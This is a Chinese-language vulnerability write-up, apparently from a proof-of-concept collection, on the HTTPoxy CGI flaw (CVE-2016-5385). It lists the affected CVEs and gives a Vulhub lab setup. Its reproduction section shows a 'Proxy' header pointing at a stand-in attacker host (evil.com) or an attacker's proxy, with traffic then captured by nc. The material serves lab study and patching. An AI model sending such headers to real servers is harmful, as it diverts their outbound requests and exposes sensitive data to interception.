Awesome-POC/Web应用漏洞/HTTPoxy CGI 漏洞 CVE-2016-5385.md

63 lines
2.7 KiB
Markdown
Raw Normal View History

2024-11-06 14:10:36 +08:00
# HTTPoxy CGI 漏洞 CVE-2016-5385
## 漏洞描述
根据RFC 3875规定CGIfastcgi要将用户传入的所有HTTP头都加上`HTTP_`前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的`HTTP_PROXY`值作为HTTP代理地址。于是恶意用户通过提交`Proxy: http://evil.com`这样的HTTP头将使用缺陷类库的网站的代理设置为`http://evil.com`,进而窃取数据包中可能存在的敏感信息。
PHP5.6.24版本修复了该漏洞,不会再将`Proxy`放入环境变量中。本环境使用PHP 5.6.23为例。
参考链接:
- https://httpoxy.org/
- http://www.laruence.com/2016/07/19/3101.html
## 漏洞影响
该漏洞不止影响PHP所有以CGI或Fastcgi运行的程序理论上都受到影响。CVE-2016-5385是PHP的CVEHTTPoxy所有的CVE编号如下
- CVE-2016-5385: PHP
- CVE-2016-5386: Go
- CVE-2016-5387: Apache HTTP Server
- CVE-2016-5388: Apache Tomcat
- CVE-2016-6286: spiffy-cgi-handlers for CHICKEN
- CVE-2016-6287: CHICKENs http-client
- CVE-2016-1000104: mod_fcgi
- CVE-2016-1000105: Nginx cgi script
- CVE-2016-1000107: Erlang inets
- CVE-2016-1000108: YAWS
- CVE-2016-1000109: HHVM FastCGI
- CVE-2016-1000110: Python CGIHandler
- CVE-2016-1000111: Python Twisted
- CVE-2016-1000212: lighttpd
## 环境搭建
Vulhub启动一个基于PHP 5.6.23 + GuzzleHttp 6.2.0的应用:
```
docker-compose up -d
```
Web页面原始代码[index.php](https://github.com/vulhub/vulhub/blob/master/cgi/CVE-2016-5385/www/index.php)
## 漏洞复现
正常请求`http://your-ip:8080/index.php`可见其Origin为当前请求的服务器二者IP相等
![image-20230418152204987](images/image-20230418152204987.png)
在其他地方启动一个可以正常使用的http代理`http://*.*.122.65:8888/`
附带`Proxy: http://*.*.122.65:8888/`头,再次访问`http://your-ip:8080/index.php`
![image-20230418152215384](images/image-20230418152215384.png)
如上图可见此时的Origin已经变成`*.*.122.65`也就是说真正进行HTTP访问的服务器是`*.*.122.65`,也就是说`*.*.122.65`已经将正常的HTTP请求代理了。
`*.*.122.65`上使用NC就可以捕获当前请求的数据包其中可能包含敏感数据
![image-20230418152222274](images/image-20230418152222274.png)
<details class="details-reset details-overlay details-overlay-dark" id="jumpto-line-details-dialog" style="box-sizing: border-box; display: block;"><summary data-hotkey="l" aria-label="Jump to line" role="button" style="box-sizing: border-box; display: list-item; cursor: pointer; list-style: none; transition: color 80ms cubic-bezier(0.33, 1, 0.68, 1) 0s, background-color, box-shadow, border-color;"></summary></details>